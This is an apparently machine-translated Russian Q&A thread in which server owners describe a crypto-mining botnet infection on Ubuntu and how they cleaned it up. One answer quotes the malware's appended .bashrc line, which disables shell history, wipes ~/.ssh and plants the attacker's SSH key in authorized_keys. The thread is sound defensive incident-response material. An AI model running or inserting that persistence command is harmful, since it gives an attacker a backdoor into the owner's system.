Странное задание Cron занимает 100% ресурсов процессора Ubuntu 18 LTS Server

Ваша машина была заражена crypto нападением шахтера. Я также столкнулся с подобным нападением программного обеспечения с вирусом-вымогателем в прошлом, и моя база данных была поставлена под угрозу. Я взял дамп SQL для машины и повторно настроил машину (поскольку моя машина была VM, размещенным на AWS EC2). Я также изменил группы безопасности машины для блокировки вниз паролей доступа SSH и установленных паролей. Я также позволил регистрироваться, чтобы зарегистрировать запросы и экспортировать его в S3 каждую ночь.

То же произошло со мной, и я вчера заметил. Я проверил файл /var/log/syslog и этот IP (185.234.218.40), казалось, автоматически выполнял cronjobs.

Я проверил его на http://whatismyipaddress.com (https://whatismyipaddress.com/ip/185.234.218.40), и это имеет некоторые отчеты. Эти файлы были отредактированы троянцем:

• .bashrc
• .ssh/authorized_keys

Я нашел это в конце .bashrc (который выполняется каждый раз, когда удар открыт):

set +o history
export PATH=/home/user/.bin:$PATH
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~

Это удаляет Ваш authorized_keys файл, который является списком ключей SSH, которым позволяют соединиться без пароля. Затем это добавляет ключ взломщика SSH:

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr

Кроме того, я нашел эту папку: /tmp/.X13-unix/.rsync, где все вредоносное программное обеспечение. Я даже нашел файл, /tmp/.X13-unix/.rsync/c/ip, файл, содержащий 70 000 IP-адресов, которые, скорее всего, являются другими жертвами или серверами узла.

Существует 2 решения: A:

• Добавьте брандмауэр, блокирующий все исходящие соединения кроме порта 22 и другие, которых Вы считаете необходимыми и включаете fail2ban, программа, которая запрещает IP-адрес после X неудавшихся попыток пароля

• Уничтожьте все задания крона: ps aux | grep cron, затем уничтожьте PID, который обнаруживается

• Измените свой пароль на безопасный

B:

• Создайте резервную копию любых файлов или папок, в которых Вы нуждаетесь или хотите

• Сбросьте сервер и переустановите Ubuntu или непосредственно создайте новую капельку

  Как сказанный Thom Wiggers, Вы - конечно, часть ботнета горной промышленности биткоина, и Ваш сервер имеет бэкдор. Бэкдор использует использование жемчуга, файл, расположенный здесь: /tmp/.X13-unix/.rsync/b/run, содержа это (https://pastebin.com/ceP2jsUy)

Самые подозрительные папки, которые я нашел, были:

• /tmp/.X13-unix/.rsync

• ~/.bashrc (который был отредактирован),

• ~/.firefoxcatche

Наконец, существует статья, касающаяся Бэкдора Perl здесь: https://blog.trendmicro.com/trendlabs-security-intelligence/outlaw-hacking-groups-botnet-observed-spreading-miner-perl-based-backdoor/

Я надеюсь, что Вы находите это полезным.

То же самое случилось со мной вчера. Вентиляторы ПК неожиданно включились, и я обнаружил, что команда с именем ./kswapd0 потребляет 60% ресурсов процессора. Процесс принадлежал временному обычному пользователю и не имел никакого отношения к подкачке; это может быть вредоносное ПО. Моими первоначальными шагами были:

• Поиск в Интернете командной строки "./kswapd0"
  • Нашел много ответов, предлагающих отключить подкачку
  • Неприменимо, так как эта система не использовала подкачку
• Убить вызывающий нарушение процесс
• Изменить пароль пользователя
• Поместить в карантин все файлы, принадлежащие затронутому пользователю, перемещение их в новый каталог и устранение неполадок
  • Проверить другие файлы, созданные временным пользователем с момента заражения
  • Продолжить проверку файловой системы на наличие всех файлов, созданных с тех пор
• Удалить затронутого пользователя: sudo userdel testuser
  • Обнаружить ошибку с сообщением userdel: пользователь testuser в настоящее время используется процессом
  • Выведите список сведений о процессе: ps -l
    • Посмотрите на результат командной строки: /lib/systemd/systemd -- user
  • Список модулей systemd, связанных с затронутым пользователем: sudo systemctl | grep testuser
    • Просмотрите распечатку с именем сеанса: session-.scope
  • Проверка состояния сеанса: sudo systemctl status session-.scope
    • Наблюдение за дочерним процессом с именем rsync
  • Остановка всех процессов, запущенных под затронутым пользователем: sudo killall -u testuser
  • Остановить сеанс, открытый для затронутого пользователя: sudo systemctl stop session-.scope
    • Наблюдение за успешным закрытием сеанса testuser
  • Повторить попытку удалить пользователя: sudo userdel testuser
    • Обратите внимание на успешное удаление testuser

Это было неприятное слово комментария в имплантированном авторизованном ключе ssh, которое привело меня к очень полезному ответу https://askubuntu.com /a/1162138/848863 выше. Я также нахожу все упомянутые там файлы и каталоги, кроме ".*catche"; спасибо за подтверждение. Одного ругательства и орфографической ошибки достаточно, чтобы понять, что это было нехорошо.

Взлом произошел из-за подбора плохо подобранного слабого пароля для внутреннего тестирования и был неожиданным.

К счастью, ущерб, по-видимому, ограничен зоной действия временного тестового пользователя. Я не заметил очистки системных журналов или файлов, но буду продолжать наблюдать.